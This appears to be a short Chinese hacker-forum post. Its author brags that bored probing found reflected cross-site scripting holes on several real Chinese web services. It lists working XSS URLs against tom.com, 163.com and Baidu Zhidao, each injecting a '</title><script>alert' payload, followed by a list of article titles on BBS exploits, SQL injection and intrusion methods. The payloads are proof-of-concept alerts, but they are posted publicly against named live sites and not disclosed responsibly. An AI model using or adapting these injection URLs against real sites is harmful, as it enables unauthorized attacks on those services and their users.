最近朋友们老是弄些跨站,一会看这个站被跨站 那个站又被跨站,我看也无聊 顺便弄一些玩玩,到百度上随便搜索了几个站的地址 结果一 测试 全都可以弄,这不得不让人很担心啊。。。
以下是几个站的截图和地址
TOM网
http://search.tom.com/search.php?f=8&cl=3&f=8&edt=0&word=%CC%AB%D7%D3King%3C%2Ftitle%3E%3Cscript%3Ealert%28%22By+%CC%AB%D7%D3King+%D3%D1%C7%E9%BC%EC%B2%E2%22%29%3C%2Fscript%3E&tomsearch=webpage&submit=TOM%CB%D1%CB%F7
163网
http://cha.so.163.com/so_err.php?q=%CC%AB%D7%D3King%3C%2Ftitle%3E%3Cscript%3Ealert%28%22By+%CC%AB%D7%D3King+%D3%D1%C7%E9%BC%EC%B2%E2%22%29%3C%2Fscript%3E&ad=&Language=lang_zh-CN&bd=2
百度网
http://zhidao.baidu.com/q?word=%CC%AB%D7%D3King%3C%2Ftitle%3E%3Cscript%3Ealert%28%22By+%CC%
AB%D7%D3King+%D3%D1%C7%E9%BC%EC%B2%E2%22%29%3C%2Fscript%3E&ct=17&pn=0&tn=ikaslist&rn=10
| dxbbs漏洞(通杀7.3以前所有版本) | 04-06 | |
| 记对一足球推荐站点的渗透 | 04-06 | |
| 注射DB_ONER权限并且主机与数据库 | 04-06 | |
| bbsxp sql最新版再爆0day? | 04-02 | |
| BBS的通杀跨站方法 | 04-02 | |
| CCTV的XSS跨站 | 03-28 | |
| 全面解析百度XSS跨站漏洞 | 03-26 | |
| Wordpress 2.1.2 以及之前版本物 | 03-26 | |
| 动易最新入侵方法 | 03-15 | |
| PJBlog漏洞利用 | 03-14 | |
| DVBBS <= 7.1.0 sp1 博客 远程注 | 03-14 | |
| php简单入侵 | 02-07 | |